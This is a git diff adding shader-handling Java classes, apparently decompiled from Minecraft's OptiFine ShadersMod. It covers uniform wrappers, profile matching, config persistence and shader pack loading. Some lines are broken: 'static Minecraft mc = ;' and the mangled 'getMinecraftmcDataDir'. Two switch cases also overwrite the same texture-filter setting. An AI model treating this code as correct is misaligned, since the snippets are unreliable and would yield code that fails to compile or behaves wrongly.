+    uniform_shadowModelView = ARBShaderObjects.glGetUniformLocationARB(programID, "shadowModelView");
+    uniform_shadowModelViewInverse = ARBShaderObjects.glGetUniformLocationARB(programID, "shadowModelViewInverse");
+    uniform_wetness = ARBShaderObjects.glGetUniformLocationARB(programID, "wetness");
+    uniform_eyeAltitude = ARBShaderObjects.glGetUniformLocationARB(programID, "eyeAltitude");
+    uniform_eyeBrightness = ARBShaderObjects.glGetUniformLocationARB(programID, "eyeBrightness");
+    uniform_eyeBrightnessSmooth = ARBShaderObjects.glGetUniformLocationARB(programID, "eyeBrightnessSmooth");
+    uniform_terrainTextureSize = ARBShaderObjects.glGetUniformLocationARB(programID, "terrainTextureSize");
+    uniform_terrainIconSize = ARBShaderObjects.glGetUniformLocationARB(programID, "terrainIconSize");
+    uniform_isEyeInWater = ARBShaderObjects.glGetUniformLocationARB(programID, "isEyeInWater");
+    uniform_hideGUI = ARBShaderObjects.glGetUniformLocationARB(programID, "hideGUI");
+    uniform_centerDepthSmooth = ARBShaderObjects.glGetUniformLocationARB(programID, "centerDepthSmooth");
+    uniform_atlasSize = ARBShaderObjects.glGetUniformLocationARB(programID, "atlasSize");
+  }
+}
diff --git a/src/minecraft/shadersmod/client/ShaderUniformBase.java b/src/minecraft/shadersmod/client/ShaderUniformBase.java
new file mode 100644
index 0000000..975b1cd
--- /dev/null
+++ b/src/minecraft/shadersmod/client/ShaderUniformBase.java
@@ -0,0 +1,47 @@
+package shadersmod.client;
+
+import org.lwjgl.opengl.ARBShaderObjects;
+
+public abstract class ShaderUniformBase
+{
+  private String name;
+  private int program = -1;
+  private int location = -1;
+  
+  public ShaderUniformBase(String name)
+  {
+    this.name = name;
+  }
+  
+  public void setProgram(int program)
+  {
+    if (this.program != program)
+    {
+      this.program = program;
+      location = ARBShaderObjects.glGetUniformLocationARB(program, name);
+      onProgramChanged();
+    }
+  }
+  
+  protected abstract void onProgramChanged();
+  
+  public String getName()
+  {
+    return name;
+  }
+  
+  public int getProgram()
+  {
+    return program;
+  }
+  
+  public int getLocation()
+  {
+    return location;
+  }
+  
+  public boolean isDefined()
+  {
+    return location >= 0;
+  }
+}
diff --git a/src/minecraft/shadersmod/client/ShaderUniformFloat4.java b/src/minecraft/shadersmod/client/ShaderUniformFloat4.java
new file mode 100644
index 0000000..82c215f
--- /dev/null
+++ b/src/minecraft/shadersmod/client/ShaderUniformFloat4.java
@@ -0,0 +1,42 @@
+package shadersmod.client;
+
+import org.lwjgl.opengl.ARBShaderObjects;
+
+public class ShaderUniformFloat4 extends ShaderUniformBase
+{
+  private float[] values = new float[4];
+  
+  public ShaderUniformFloat4(String name)
+  {
+    super(name);
+  }
+  
+  protected void onProgramChanged()
+  {
+    values[0] = 0.0F;
+    values[1] = 0.0F;
+    values[2] = 0.0F;
+    values[3] = 0.0F;
+  }
+  
+  public void setValue(float f0, float f1, float f2, float f3)
+  {
+    if (getLocation() >= 0)
+    {
+      if ((values[0] != f0) || (values[1] != f1) || (values[2] != f2) || (values[3] != f3))
+      {
+        ARBShaderObjects.glUniform4fARB(getLocation(), f0, f1, f2, f3);
+        Shaders.checkGLError(getName());
+        values[0] = f0;
+        values[1] = f1;
+        values[2] = f2;
+        values[3] = f3;
+      }
+    }
+  }
+  
+  public float[] getValues()
+  {
+    return values;
+  }
+}
diff --git a/src/minecraft/shadersmod/client/ShaderUniformInt.java b/src/minecraft/shadersmod/client/ShaderUniformInt.java
new file mode 100644
index 0000000..09f1112
--- /dev/null
+++ b/src/minecraft/shadersmod/client/ShaderUniformInt.java
@@ -0,0 +1,36 @@
+package shadersmod.client;
+
+import org.lwjgl.opengl.ARBShaderObjects;
+
+public class ShaderUniformInt extends ShaderUniformBase
+{
+  private int value = -1;
+  
+  public ShaderUniformInt(String name)
+  {
+    super(name);
+  }
+  
+  protected void onProgramChanged()
+  {
+    value = -1;
+  }
+  
+  public void setValue(int value)
+  {
+    if (getLocation() >= 0)
+    {
+      if (this.value != value)
+      {
+        ARBShaderObjects.glUniform1iARB(getLocation(), value);
+        Shaders.checkGLError(getName());
+        this.value = value;
+      }
+    }
+  }
+  
+  public int getValue()
+  {
+    return value;
+  }
+}
diff --git a/src/minecraft/shadersmod/client/ShaderUtils.java b/src/minecraft/shadersmod/client/ShaderUtils.java
new file mode 100644
index 0000000..4fe56c7
--- /dev/null
+++ b/src/minecraft/shadersmod/client/ShaderUtils.java
@@ -0,0 +1,84 @@
+package shadersmod.client;
+
+import optifine.Config;
+
+public class ShaderUtils {
+  public ShaderUtils() {}
+  
+  public static ShaderOption getShaderOption(String name, ShaderOption[] opts) {
+    if (opts == null)
+    {
+      return null;
+    }
+    
+
+    for (int i = 0; i < opts.length; i++)
+    {
+      ShaderOption so = opts[i];
+      
+      if (so.getName().equals(name))
+      {
+        return so;
+      }
+    }
+    
+    return null;
+  }
+  
+
+  public static ShaderProfile detectProfile(ShaderProfile[] profs, ShaderOption[] opts, boolean def)
+  {
+    if (profs == null)
+    {
+      return null;
+    }
+    
+
+    for (int i = 0; i < profs.length; i++)
+    {
+      ShaderProfile prof = profs[i];
+      
+      if (matchProfile(prof, opts, def))
+      {
+        return prof;
+      }
+    }
+    
+    return null;
+  }
+  
+
+  public static boolean matchProfile(ShaderProfile prof, ShaderOption[] opts, boolean def)
+  {
+    if (prof == null)
+    {
+      return false;
+    }
+    if (opts == null)
+    {
+      return false;
+    }
+    
+
+    String[] optsProf = prof.getOptions();
+    
+    for (int p = 0; p < optsProf.length; p++)
+    {
+      String opt = optsProf[p];
+      ShaderOption so = getShaderOption(opt, opts);
+      
+      if (so != null)
+      {
+        String optVal = def ? so.getValueDefault() : so.getValue();
+        String profVal = prof.getValue(opt);
+        
+        if (!Config.equals(optVal, profVal))
+        {
+          return false;
+        }
+      }
+    }
+    
+    return true;
+  }
+}
diff --git a/src/minecraft/shadersmod/client/Shaders.java b/src/minecraft/shadersmod/client/Shaders.java
new file mode 100644
index 0000000..d798cbd
--- /dev/null
+++ b/src/minecraft/shadersmod/client/Shaders.java
@@ -0,0 +1,4583 @@
+package shadersmod.client;
+
+import java.io.BufferedReader;
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.FileOutputStream;
+import java.io.FileReader;
+import java.io.FileWriter;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.InputStreamReader;
+import java.io.PrintStream;
+import java.nio.Buffer;
+import java.nio.ByteBuffer;
+import java.nio.FloatBuffer;
+import java.nio.IntBuffer;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.HashMap;
+import java.util.HashSet;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Map;
+import java.util.Properties;
+import java.util.Set;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+import net.minecraft.block.Block;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.entity.EntityPlayerSP;
+import net.minecraft.client.gui.GuiIngame;
+import net.minecraft.client.gui.GuiNewChat;
+import net.minecraft.client.model.ModelBase;
+import net.minecraft.client.model.ModelRenderer;
+import net.minecraft.client.multiplayer.WorldClient;
+import net.minecraft.client.renderer.EntityRenderer;
+import net.minecraft.client.renderer.GlStateManager;
+import net.minecraft.client.renderer.OpenGlHelper;
+import net.minecraft.client.renderer.Tessellator;
+import net.minecraft.client.renderer.WorldRenderer;
+import net.minecraft.client.renderer.entity.Render;
+import net.minecraft.client.renderer.entity.RendererLivingEntity;
+import net.minecraft.client.renderer.texture.ITextureObject;
+import net.minecraft.client.settings.GameSettings;
+import net.minecraft.client.shader.Framebuffer;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.item.Item;
+import net.minecraft.item.ItemStack;
+import net.minecraft.profiler.Profiler;
+import net.minecraft.tileentity.TileEntity;
+import net.minecraft.util.ChatComponentText;
+import net.minecraft.util.RegistryNamespacedDefaultedByKey;
+import net.minecraft.util.ResourceLocation;
+import net.minecraft.util.Vec3;
+import net.minecraft.world.World;
+import net.minecraft.world.WorldProvider;
+import optifine.Config;
+import optifine.Lang;
+import optifine.PropertiesOrdered;
+import optifine.Reflector;
+import optifine.ReflectorField;
+import org.lwjgl.BufferUtils;
+import org.lwjgl.opengl.ARBShaderObjects;
+import org.lwjgl.opengl.ARBVertexShader;
+import org.lwjgl.opengl.ContextCapabilities;
+import org.lwjgl.opengl.EXTFramebufferObject;
+import org.lwjgl.opengl.GL11;
+import org.lwjgl.opengl.GL20;
+import org.lwjgl.opengl.GLContext;
+import org.lwjgl.util.glu.GLU;
+import shadersmod.common.SMCLog;
+
+public class Shaders
+{
+  static Minecraft mc = ;
+  static EntityRenderer entityRenderer;
+  public static boolean isInitializedOnce = false;
+  public static boolean isShaderPackInitialized = false;
+  public static ContextCapabilities capabilities;
+  public static String glVersionString;
+  public static String glVendorString;
+  public static String glRendererString;
+  public static boolean hasGlGenMipmap = false;
+  public static boolean hasForge = false;
+  public static int numberResetDisplayList = 0;
+  static boolean needResetModels = false;
+  private static int renderDisplayWidth = 0;
+  private static int renderDisplayHeight = 0;
+  public static int renderWidth = 0;
+  public static int renderHeight = 0;
+  public static boolean isRenderingWorld = false;
+  public static boolean isRenderingSky = false;
+  public static boolean isCompositeRendered = false;
+  public static boolean isRenderingDfb = false;
+  public static boolean isShadowPass = false;
+  public static boolean isSleeping;
+  public static boolean isHandRendered;
+  public static boolean renderItemPass1DepthMask = false;
+  public static ItemStack itemToRender;
+  static float[] sunPosition = new float[4];
+  static float[] moonPosition = new float[4];
+  static float[] shadowLightPosition = new float[4];
+  static float[] upPosition = new float[4];
+  static float[] shadowLightPositionVector = new float[4];
+  static float[] upPosModelView = { 0.0F, 100.0F, 0.0F, 0.0F };
+  static float[] sunPosModelView = { 0.0F, 100.0F, 0.0F, 0.0F };
+  static float[] moonPosModelView = { 0.0F, -100.0F, 0.0F, 0.0F };
+  private static float[] tempMat = new float[16];
+  static float clearColorR;
+  static float clearColorG;
+  static float clearColorB;
+  static float skyColorR;
+  static float skyColorG;
+  static float skyColorB;
+  static long worldTime = 0L;
+  static long lastWorldTime = 0L;
+  static long diffWorldTime = 0L;
+  static float celestialAngle = 0.0F;
+  static float sunAngle = 0.0F;
+  static float shadowAngle = 0.0F;
+  static int moonPhase = 0;
+  static long systemTime = 0L;
+  static long lastSystemTime = 0L;
+  static long diffSystemTime = 0L;
+  static int frameCounter = 0;
+  static float frameTimeCounter = 0.0F;
+  static int systemTimeInt32 = 0;
+  static float rainStrength = 0.0F;
+  static float wetness = 0.0F;
+  public static float wetnessHalfLife = 600.0F;
+  public static float drynessHalfLife = 200.0F;
+  public static float eyeBrightnessHalflife = 10.0F;
+  static boolean usewetness = false;
+  static int isEyeInWater = 0;
+  static int eyeBrightness = 0;
+  static float eyeBrightnessFadeX = 0.0F;
+  static float eyeBrightnessFadeY = 0.0F;
+  static float eyePosY = 0.0F;
+  static float centerDepth = 0.0F;
+  static float centerDepthSmooth = 0.0F;
+  static float centerDepthSmoothHalflife = 1.0F;
+  static boolean centerDepthSmoothEnabled = false;
+  static int superSamplingLevel = 1;
+  static boolean updateChunksErrorRecorded = false;
+  static boolean lightmapEnabled = false;
+  static boolean fogEnabled = true;
+  public static int entityAttrib = 10;
+  public static int midTexCoordAttrib = 11;
+  public static int tangentAttrib = 12;
+  public static boolean useEntityAttrib = false;
+  public static boolean useMidTexCoordAttrib = false;
+  public static boolean useMultiTexCoord3Attrib = false;
+  public static boolean useTangentAttrib = false;
+  public static boolean progUseEntityAttrib = false;
+  public static boolean progUseMidTexCoordAttrib = false;
+  public static boolean progUseTangentAttrib = false;
+  public static int atlasSizeX = 0;
+  public static int atlasSizeY = 0;
+  public static ShaderUniformFloat4 uniformEntityColor = new ShaderUniformFloat4("entityColor");
+  public static ShaderUniformInt uniformEntityId = new ShaderUniformInt("entityId");
+  public static ShaderUniformInt uniformBlockEntityId = new ShaderUniformInt("blockEntityId");
+  static double previousCameraPositionX;
+  static double previousCameraPositionY;
+  static double previousCameraPositionZ;
+  static double cameraPositionX;
+  static double cameraPositionY;
+  static double cameraPositionZ;
+  static int shadowPassInterval = 0;
+  public static boolean needResizeShadow = false;
+  static int shadowMapWidth = 1024;
+  static int shadowMapHeight = 1024;
+  static int spShadowMapWidth = 1024;
+  static int spShadowMapHeight = 1024;
+  static float shadowMapFOV = 90.0F;
+  static float shadowMapHalfPlane = 160.0F;
+  static boolean shadowMapIsOrtho = true;
+  static int shadowPassCounter = 0;
+  static int preShadowPassThirdPersonView;
+  public static boolean shouldSkipDefaultShadow = false;
+  static boolean waterShadowEnabled = false;
+  static final int MaxDrawBuffers = 8;
+  static final int MaxColorBuffers = 8;
+  static final int MaxDepthBuffers = 3;
+  static final int MaxShadowColorBuffers = 8;
+  static final int MaxShadowDepthBuffers = 2;
+  static int usedColorBuffers = 0;
+  static int usedDepthBuffers = 0;
+  static int usedShadowColorBuffers = 0;
+  static int usedShadowDepthBuffers = 0;
+  static int usedColorAttachs = 0;
+  static int usedDrawBuffers = 0;
+  static int dfb = 0;
+  static int sfb = 0;
+  private static int[] gbuffersFormat = new int[8];
+  public static int activeProgram = 0;
+  public static final int ProgramNone = 0;
+  public static final int ProgramBasic = 1;
+  public static final int ProgramTextured = 2;
+  public static final int ProgramTexturedLit = 3;
+  public static final int ProgramSkyBasic = 4;
+  public static final int ProgramSkyTextured = 5;
+  public static final int ProgramClouds = 6;
+  public static final int ProgramTerrain = 7;
+  public static final int ProgramTerrainSolid = 8;
+  public static final int ProgramTerrainCutoutMip = 9;
+  public static final int ProgramTerrainCutout = 10;
+  public static final int ProgramDamagedBlock = 11;
+  public static final int ProgramWater = 12;
+  public static final int ProgramBlock = 13;
+  public static final int ProgramBeaconBeam = 14;
+  public static final int ProgramItem = 15;
+  public static final int ProgramEntities = 16;
+  public static final int ProgramArmorGlint = 17;
+  public static final int ProgramSpiderEyes = 18;
+  public static final int ProgramHand = 19;
+  public static final int ProgramWeather = 20;
+  public static final int ProgramComposite = 21;
+  public static final int ProgramComposite1 = 22;
+  public static final int ProgramComposite2 = 23;
+  public static final int ProgramComposite3 = 24;
+  public static final int ProgramComposite4 = 25;
+  public static final int ProgramComposite5 = 26;
+  public static final int ProgramComposite6 = 27;
+  public static final int ProgramComposite7 = 28;
+  public static final int ProgramFinal = 29;
+  public static final int ProgramShadow = 30;
+  public static final int ProgramShadowSolid = 31;
+  public static final int ProgramShadowCutout = 32;
+  public static final int ProgramCount = 33;
+  public static final int MaxCompositePasses = 8;
+  private static final String[] programNames = { "", "gbuffers_basic", "gbuffers_textured", "gbuffers_textured_lit", "gbuffers_skybasic", "gbuffers_skytextured", "gbuffers_clouds", "gbuffers_terrain", "gbuffers_terrain_solid", "gbuffers_terrain_cutout_mip", "gbuffers_terrain_cutout", "gbuffers_damagedblock", "gbuffers_water", "gbuffers_block", "gbuffers_beaconbeam", "gbuffers_item", "gbuffers_entities", "gbuffers_armor_glint", "gbuffers_spidereyes", "gbuffers_hand", "gbuffers_weather", "composite", "composite1", "composite2", "composite3", "composite4", "composite5", "composite6", "composite7", "final", "shadow", "shadow_solid", "shadow_cutout" };
+  private static final int[] programBackups = { 0, 0, 1, 2, 1, 2, 2, 3, 7, 7, 7, 7, 7, 7, 2, 3, 3, 2, 2, 3, 3, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 30, 30 };
+  static int[] programsID = new int[33];
+  private static int[] programsRef = new int[33];
+  private static int programIDCopyDepth = 0;
+  private static String[] programsDrawBufSettings = new String[33];
+  private static String newDrawBufSetting = null;
+  static IntBuffer[] programsDrawBuffers = new IntBuffer[33];
+  static IntBuffer activeDrawBuffers = null;
+  private static String[] programsColorAtmSettings = new String[33];
+  private static String newColorAtmSetting = null;
+  private static String activeColorAtmSettings = null;
+  private static int[] programsCompositeMipmapSetting = new int[33];
+  private static int newCompositeMipmapSetting = 0;
+  private static int activeCompositeMipmapSetting = 0;
+  public static Properties loadedShaders = null;
+  public static Properties shadersConfig = null;
+  public static ITextureObject defaultTexture = null;
+  public static boolean normalMapEnabled = false;
+  public static boolean[] shadowHardwareFilteringEnabled = new boolean[2];
+  public static boolean[] shadowMipmapEnabled = new boolean[2];
+  public static boolean[] shadowFilterNearest = new boolean[2];
+  public static boolean[] shadowColorMipmapEnabled = new boolean[8];
+  public static boolean[] shadowColorFilterNearest = new boolean[8];
+  public static boolean configTweakBlockDamage = true;
+  public static boolean configCloudShadow = true;
+  public static float configHandDepthMul = 0.125F;
+  public static float configRenderResMul = 1.0F;
+  public static float configShadowResMul = 1.0F;
+  public static int configTexMinFilB = 0;
+  public static int configTexMinFilN = 0;
+  public static int configTexMinFilS = 0;
+  public static int configTexMagFilB = 0;
+  public static int configTexMagFilN = 0;
+  public static int configTexMagFilS = 0;
+  public static boolean configShadowClipFrustrum = true;
+  public static boolean configNormalMap = true;
+  public static boolean configSpecularMap = true;
+  public static PropertyDefaultTrueFalse configOldLighting = new PropertyDefaultTrueFalse("oldLighting", "Classic Lighting", 2);
+  public static int configAntialiasingLevel = 0;
+  public static final int texMinFilRange = 3;
+  public static final int texMagFilRange = 2;
+  public static final String[] texMinFilDesc = { "Nearest", "Nearest-Nearest", "Nearest-Linear" };
+  public static final String[] texMagFilDesc = { "Nearest", "Linear" };
+  public static final int[] texMinFilValue = { 9728, 9984, 9986 };
+  public static final int[] texMagFilValue = { 9728, 9729 };
+  static IShaderPack shaderPack = null;
+  public static boolean shaderPackLoaded = false;
+  static File currentshader;
+  static String currentshadername;
+  public static String packNameNone = "OFF";
+  static String packNameDefault = "(internal)";
+  static String shaderpacksdirname = "shaderpacks";
+  static String optionsfilename = "optionsshaders.txt";
+  static File shadersdir = new File(getMinecraftmcDataDir, "shaders");
+  static File shaderpacksdir = new File(getMinecraftmcDataDir, shaderpacksdirname);
+  static File configFile = new File(getMinecraftmcDataDir, optionsfilename);
+  static ShaderOption[] shaderPackOptions = null;
+  static ShaderProfile[] shaderPackProfiles = null;
+  static Map<String, ShaderOption[]> shaderPackGuiScreens = null;
+  public static PropertyDefaultFastFancyOff shaderPackClouds = new PropertyDefaultFastFancyOff("clouds", "Clouds", 0);
+  public static PropertyDefaultTrueFalse shaderPackOldLighting = new PropertyDefaultTrueFalse("oldLighting", "Classic Lighting", 0);
+  public static PropertyDefaultTrueFalse shaderPackDynamicHandLight = new PropertyDefaultTrueFalse("dynamicHandLight", "Dynamic Hand Light", 0);
+  private static Map<String, String> shaderPackResources = new HashMap();
+  private static World currentWorld = null;
+  private static List<Integer> shaderPackDimensions = new ArrayList();
+  public static final boolean enableShadersOption = true;
+  private static final boolean enableShadersDebug = true;
+  private static final boolean saveFinalShaders = System.getProperty("shaders.debug.save", "false").equals("true");
+  public static float blockLightLevel05 = 0.5F;
+  public static float blockLightLevel06 = 0.6F;
+  public static float blockLightLevel08 = 0.8F;
+  public static float aoLevel = 0.8F;
+  public static float blockAoLight = 1.0F - aoLevel;
+  public static float sunPathRotation = 0.0F;
+  public static float shadowAngleInterval = 0.0F;
+  public static int fogMode = 0;
+  public static float fogColorR;
+  public static float fogColorG;
+  public static float fogColorB;
+  public static float shadowIntervalSize = 2.0F;
+  public static int terrainIconSize = 16;
+  public static int[] terrainTextureSize = new int[2];
+  private static HFNoiseTexture noiseTexture;
+  private static boolean noiseTextureEnabled = false;
+  private static int noiseTextureResolution = 256;
+  static final int[] dfbColorTexturesA = new int[16];
+  static final int[] colorTexturesToggle = new int[8];
+  static final int[] colorTextureTextureImageUnit = { 0, 1, 2, 3, 7, 8, 9, 10 };
+  static final boolean[][] programsToggleColorTextures = new boolean[33][8];
+  private static final int bigBufferSize = 2196;
+  private static final ByteBuffer bigBuffer = (ByteBuffer)BufferUtils.createByteBuffer(2196).limit(0);
+  static final float[] faProjection = new float[16];
+  static final float[] faProjectionInverse = new float[16];
+  static final float[] faModelView = new float[16];
+  static final float[] faModelViewInverse = new float[16];
+  static final float[] faShadowProjection = new float[16];
+  static final float[] faShadowProjectionInverse = new float[16];
+  static final float[] faShadowModelView = new float[16];
+  static final float[] faShadowModelViewInverse = new float[16];
+  static final FloatBuffer projection = nextFloatBuffer(16);
+  static final FloatBuffer projectionInverse = nextFloatBuffer(16);
+  static final FloatBuffer modelView = nextFloatBuffer(16);
+  static final FloatBuffer modelViewInverse = nextFloatBuffer(16);
+  static final FloatBuffer shadowProjection = nextFloatBuffer(16);
+  static final FloatBuffer shadowProjectionInverse = nextFloatBuffer(16);
+  static final FloatBuffer shadowModelView = nextFloatBuffer(16);
+  static final FloatBuffer shadowModelViewInverse = nextFloatBuffer(16);
+  static final FloatBuffer previousProjection = nextFloatBuffer(16);
+  static final FloatBuffer previousModelView = nextFloatBuffer(16);
+  static final FloatBuffer tempMatrixDirectBuffer = nextFloatBuffer(16);
+  static final FloatBuffer tempDirectFloatBuffer = nextFloatBuffer(16);
+  static final IntBuffer dfbColorTextures = nextIntBuffer(16);
+  static final IntBuffer dfbDepthTextures = nextIntBuffer(3);
+  static final IntBuffer sfbColorTextures = nextIntBuffer(8);
+  static final IntBuffer sfbDepthTextures = nextIntBuffer(2);
+  static final IntBuffer dfbDrawBuffers = nextIntBuffer(8);
+  static final IntBuffer sfbDrawBuffers = nextIntBuffer(8);
+  static final IntBuffer drawBuffersNone = nextIntBuffer(8);
+  static final IntBuffer drawBuffersAll = nextIntBuffer(8);
+  static final IntBuffer drawBuffersClear0 = nextIntBuffer(8);
+  static final IntBuffer drawBuffersClear1 = nextIntBuffer(8);
+  static final IntBuffer drawBuffersClearColor = nextIntBuffer(8);
+  static final IntBuffer drawBuffersColorAtt0 = nextIntBuffer(8);
+  static final IntBuffer[] drawBuffersBuffer = nextIntBufferArray(33, 8);
+  
+
+
+
+  static Map<Block, Integer> mapBlockToEntityData;
+  
+
+
+
+  private static ByteBuffer nextByteBuffer(int size)
+  {
+    ByteBuffer buffer = bigBuffer;
+    int pos = buffer.limit();
+    buffer.position(pos).limit(pos + size);
+    return buffer.slice();
+  }
+  
+  private static IntBuffer nextIntBuffer(int size)
+  {
+    ByteBuffer buffer = bigBuffer;
+    int pos = buffer.limit();
+    buffer.position(pos).limit(pos + size * 4);
+    return buffer.asIntBuffer();
+  }
+  
+  private static FloatBuffer nextFloatBuffer(int size)
+  {
+    ByteBuffer buffer = bigBuffer;
+    int pos = buffer.limit();
+    buffer.position(pos).limit(pos + size * 4);
+    return buffer.asFloatBuffer();
+  }
+  
+  private static IntBuffer[] nextIntBufferArray(int count, int size)
+  {
+    IntBuffer[] aib = new IntBuffer[count];
+    
+    for (int i = 0; i < count; i++)
+    {
+      aib[i] = nextIntBuffer(size);
+    }
+    
+    return aib;
+  }
+  
+  public static void loadConfig()
+  {
+    SMCLog.info("Load ShadersMod configuration.");
+    
+    try
+    {
+      if (!shaderpacksdir.exists())
+      {
+        shaderpacksdir.mkdir();
+      }
+    }
+    catch (Exception var8)
+    {
+      SMCLog.severe("Failed to open the shaderpacks directory: " + shaderpacksdir);
+    }
+    
+    shadersConfig = new PropertiesOrdered();
+    shadersConfig.setProperty(EnumShaderOption.SHADER_PACK.getPropertyKey(), "");
+    
+    if (configFile.exists())
+    {
+      try
+      {
+        FileReader ops = new FileReader(configFile);
+        shadersConfig.load(ops);
+        ops.close();
+      }
+      catch (Exception localException1) {}
+    }
+    
+
+
+
+    if (!configFile.exists())
+    {
+      try
+      {
+        storeConfig();
+      }
+      catch (Exception localException2) {}
+    }
+    
+
+
+
+    EnumShaderOption[] var9 = EnumShaderOption.values();
+    
+    for (int i = 0; i < var9.length; i++)
+    {
+      EnumShaderOption op = var9[i];
+      String key = op.getPropertyKey();
+      String def = op.getValueDefault();
+      String val = shadersConfig.getProperty(key, def);
+      setEnumShaderOption(op, val);
+    }
+    
+    loadShaderPack();
+  }
+  
+  private static void setEnumShaderOption(EnumShaderOption eso, String str)
+  {
+    if (str == null)
+    {
+      str = eso.getValueDefault();
+    }
+    
+    switch (NamelessClass341846571.$SwitchMap$shadersmod$client$EnumShaderOption[eso.ordinal()])
+    {
+    case 1: 
+      configAntialiasingLevel = Config.parseInt(str, 0);
+      break;
+    
+    case 2: 
+      configNormalMap = Config.parseBoolean(str, true);
+      break;
+    
+    case 3: 
+      configSpecularMap = Config.parseBoolean(str, true);
+      break;
+    
+    case 4: 
+      configRenderResMul = Config.parseFloat(str, 1.0F);
+      break;
+    
+    case 5: 
+      configShadowResMul = Config.parseFloat(str, 1.0F);
+      break;
+    
+    case 6: 
+      configHandDepthMul = Config.parseFloat(str, 0.125F);
+      break;
+    
+    case 7: 
+      configCloudShadow = Config.parseBoolean(str, true);
+      break;
+    
+    case 8: 
+      configOldLighting.setPropertyValue(str);
+      break;
+    
+    case 9: 
+      currentshadername = str;
+      break;
+    
+    case 10: 
+      configTweakBlockDamage = Config.parseBoolean(str, true);
+      break;
+    
+    case 11: 
+      configShadowClipFrustrum = Config.parseBoolean(str, true);
+      break;
+    
+    case 12: 
+      configTexMinFilB = Config.parseInt(str, 0);
+      break;
+    
+    case 13: 
+      configTexMinFilN = Config.parseInt(str, 0);
+      break;
+    
+    case 14: 
+      configTexMinFilS = Config.parseInt(str, 0);
+      break;
+    
+    case 15: 
+      configTexMagFilB = Config.parseInt(str, 0);
+      break;
+    
+    case 16: 
+      configTexMagFilB = Config.parseInt(str, 0);
+      break;
+    
+    case 17: 
+      configTexMagFilB = Config.parseInt(str, 0);
+      break;
+    
+    default: 
+      throw new IllegalArgumentException("Unknown option: " + eso);
+    }
+  }
+  
+  public static void storeConfig()
+  {
+    SMCLog.info("Save ShadersMod configuration.");
+    
+    if (shadersConfig == null)
+    {
+      shadersConfig = new PropertiesOrdered();
+    }
+    
+    EnumShaderOption[] ops = EnumShaderOption.values();
+    
+    for (int ex = 0; ex < ops.length; ex++)
+    {
+      EnumShaderOption op = ops[ex];
+      String key = op.getPropertyKey();
+      String val = getEnumShaderOption(op);
+      shadersConfig.setProperty(key, val);
+    }
+    
+    try
+    {
+      FileWriter var6 = new FileWriter(configFile);
+      shadersConfig.store(var6, null);
+      var6.close();
+    }
+    catch (Exception var5)
+    {
+      SMCLog.severe("Error saving configuration: " + var5.getClass().getName() + ": " + var5.getMessage());
+    }
+  }
+  
+  public static String getEnumShaderOption(EnumShaderOption eso)
+  {
+    switch (NamelessClass341846571.$SwitchMap$shadersmod$client$EnumShaderOption[eso.ordinal()])
+    {
+    case 1: 
+      return Integer.toString(configAntialiasingLevel);
+    
+    case 2: 
+      return Boolean.toString(configNormalMap);
+    
+    case 3: 
+      return Boolean.toString(configSpecularMap);
+    
+    case 4: 
+      return Float.toString(configRenderResMul);
+    
+    case 5: 
+      return Float.toString(configShadowResMul);
+    
+    case 6: 
+      return Float.toString(configHandDepthMul);
+    
+    case 7: 
+      return Boolean.toString(configCloudShadow);
+    
+    case 8: 
+      return configOldLighting.getPropertyValue();
+    
+    case 9: 
+      return currentshadername;
+    
+    case 10: 
+      return Boolean.toString(configTweakBlockDamage);
+    
+    case 11: 
+      return Boolean.toString(configShadowClipFrustrum);
+    
+    case 12: 
+      return Integer.toString(configTexMinFilB);
+    
+    case 13: 
+      return Integer.toString(configTexMinFilN);
+    
+    case 14: 
+      return Integer.toString(configTexMinFilS);
+    
+    case 15: 
+      return Integer.toString(configTexMagFilB);
+    
+    case 16: 
+      return Integer.toString(configTexMagFilB);
+    
+    case 17: 
+      return Integer.toString(configTexMagFilB);
+    }
+    
+    throw new IllegalArgumentException("Unknown option: " + eso);
+  }
+  
+
+  public static void setShaderPack(String par1name)
+  {
+    currentshadername = par1name;
+    shadersConfig.setProperty(EnumShaderOption.SHADER_PACK.getPropertyKey(), par1name);
+    loadShaderPack();
+  }
+  
+  public static void loadShaderPack()
+  {
+    boolean shaderPackLoadedPrev = shaderPackLoaded;
+    boolean oldLightingPrev = isOldLighting();
+    shaderPackLoaded = false;
+    
+    if (shaderPack != null)
+    {
+      shaderPack.close();
+      shaderPack = null;
+      shaderPackResources.clear();
+      shaderPackDimensions.clear();
+      shaderPackOptions = null;
+      shaderPackProfiles = null;
+      shaderPackGuiScreens = null;
+      shaderPackClouds.resetValue();
+      shaderPackDynamicHandLight.resetValue();
+      shaderPackOldLighting.resetValue();
+    }
+    
+    boolean shadersBlocked = false;
+    
+    if (Config.isAntialiasing())
+    {
+      SMCLog.info("Shaders can not be loaded, Antialiasing is enabled: " + Config.getAntialiasingLevel() + "x");
+      shadersBlocked = true;
+    }
+    
+    if (Config.isAnisotropicFiltering())
+    {
+      SMCLog.info("Shaders can not be loaded, Anisotropic Filtering is enabled: " + Config.getAnisotropicFilterLevel() + "x");
+      shadersBlocked = true;
+    }
+    
+    if (Config.isFastRender())
+    {
+      SMCLog.info("Shaders can not be loaded, Fast Render is enabled.");
+      shadersBlocked = true;
+    }
+    
+    String packName = shadersConfig.getProperty(EnumShaderOption.SHADER_PACK.getPropertyKey(), packNameDefault);
+    
+    if ((!packName.isEmpty()) && (!packName.equals(packNameNone)) && (!shadersBlocked))
+    {
+      if (packName.equals(packNameDefault))
+      {
+        shaderPack = new ShaderPackDefault();
+        shaderPackLoaded = true;
+      }
+      else
+      {
+        try
+        {
+          File formatChanged = new File(shaderpacksdir, packName);
+          
+          if (formatChanged.isDirectory())
+          {
+            shaderPack = new ShaderPackFolder(packName, formatChanged);
+            shaderPackLoaded = true;
+          }
+          else if ((formatChanged.isFile()) && (packName.toLowerCase().endsWith(".zip")))
+          {
+            shaderPack = new ShaderPackZip(packName, formatChanged);
+            shaderPackLoaded = true;
+          }
+        }
+        catch (Exception localException) {}
+      }
+    }
+    
+
+
+
+    if (shaderPack != null)
+    {
+      SMCLog.info("Loaded shaderpack: " + getShaderPackName());
+    }
+    else
+    {
+      SMCLog.info("No shaderpack loaded.");
+      shaderPack = new ShaderPackNone();
+    }
+    
